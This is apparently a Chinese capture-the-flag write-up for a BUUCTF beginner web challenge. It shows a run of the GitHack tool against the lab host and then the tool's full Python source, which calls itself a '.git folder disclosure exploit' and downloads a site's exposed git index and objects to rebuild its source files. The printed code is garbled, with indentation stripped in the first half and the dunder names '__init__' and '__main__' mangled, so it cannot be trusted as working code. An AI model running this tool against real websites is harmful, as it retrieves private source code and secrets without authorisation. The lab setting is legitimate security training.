[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

D:\...\BUUCTF\GitHack-master>python GitHack.py http://3098c166-1700-49bd-81c2-651eb891bbfd.node5.buuoj.cn:81/.git/
[+] Download and parse index file ...
[+] index.html
[OK] index.html

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import sys

try:

# python 2.x

import urllib2

import urlparse

import Queue

except Exception as e:

# python 3.x

import urllib.request as urllib2

import urllib.parse as urlparse

import queue as Queue
import os

import zlib

import threading

import re

import time

from lib.parser import parse

import ssl
context = ssl._create_unverified_context()

user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' 

'Chrome/99.0.4844.82 Safari/537.36'

if len(sys.argv) == 1:

msg = """

A .git folder disclosure exploit. By LiJieJie
Usage: python GitHack.py http://www.target.com/.git/

"""

print(msg)

sys.exit(0)
class Scanner(object):

def init(self):

self.base_url = sys.argv[-1]

self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')

print('[+] Download and parse index file ...')

try:

data = self._request_data(sys.argv[-1] + '/index')

except Exception as e:

print('[ERROR] index file download failed: %s' % str(e))

exit(-1)

with open('index', 'wb') as f:

f.write(data)

if not os.path.exists(self.domain):

os.mkdir(self.domain)

self.dest_dir = os.path.abspath(self.domain)

self.queue = Queue.Queue()

for entry in parse('index'):

if "sha1" in entry.keys():

entry_name = entry["name"].strip()

if self.is_valid_name(entry_name):

self.queue.put((entry["sha1"].strip(), entry_name))

try:

print('[+] %s' % entry['name'])

except Exception as e:

pass
    self.lock = threading.Lock()
    self.thread_count = 10
    self.STOP_ME = False

def is_valid_name(self, entry_name):
    if entry_name.find('..') >= 0 or \
            entry_name.startswith('/') or \
            entry_name.startswith('\\') or \
            not os.path.abspath(os.path.join(self.domain, entry_name)).startswith(self.dest_dir):
        try:
            print('[ERROR] Invalid entry name: %s' % entry_name)
        except Exception as e:
            pass
        return False
    return True

@staticmethod
def _request_data(url):
    request = urllib2.Request(url, None, {'User-Agent': user_agent})
    return urllib2.urlopen(request, context=context).read()

def _print(self, msg):
    self.lock.acquire()
    try:
        print(msg)
    except Exception as e:
        pass
    self.lock.release()

def get_back_file(self):
    while not self.STOP_ME:
        try:
            sha1, file_name = self.queue.get(timeout=0.5)
        except Exception as e:
            break
        for i in range(3):
            try:
                folder = '/objects/%s/' % sha1[:2]
                data = self._request_data(self.base_url + folder + sha1[2:])
                try:
                    data = zlib.decompress(data)
                except:
                    self._print('[Error] Fail to decompress %s' % file_name)
                # data = re.sub(r'blob \d+\00', '', data)
                try:
                    data = re.sub(r'blob \d+\00', '', data)
                except Exception as e:
                    data = re.sub(b"blob \\d+\00", b'', data)
                target_dir = os.path.join(self.domain, os.path.dirname(file_name))
                if target_dir and not os.path.exists(target_dir):
                    os.makedirs(target_dir)
                with open(os.path.join(self.domain, file_name), 'wb') as f:
                    f.write(data)
                self._print('[OK] %s' % file_name)
                break
            except urllib2.HTTPError as e:
                if str(e).find('HTTP Error 404') >= 0:
                    self._print('[File not found] %s' % file_name)
                    break
            except Exception as e:
                self._print('[Error] %s' % str(e))
    self.exit_thread()

def exit_thread(self):
    self.lock.acquire()
    self.thread_count -= 1
    self.lock.release()

def scan(self):
    for i in range(self.thread_count):
        t = threading.Thread(target=self.get_back_file)
        t.start()

if name == 'main':

s = Scanner()

s.scan()

try:

while s.thread_count > 0:

time.sleep(0.1)

except KeyboardInterrupt as e:

s.STOP_ME = True

time.sleep(1.0)

print('User Aborted.')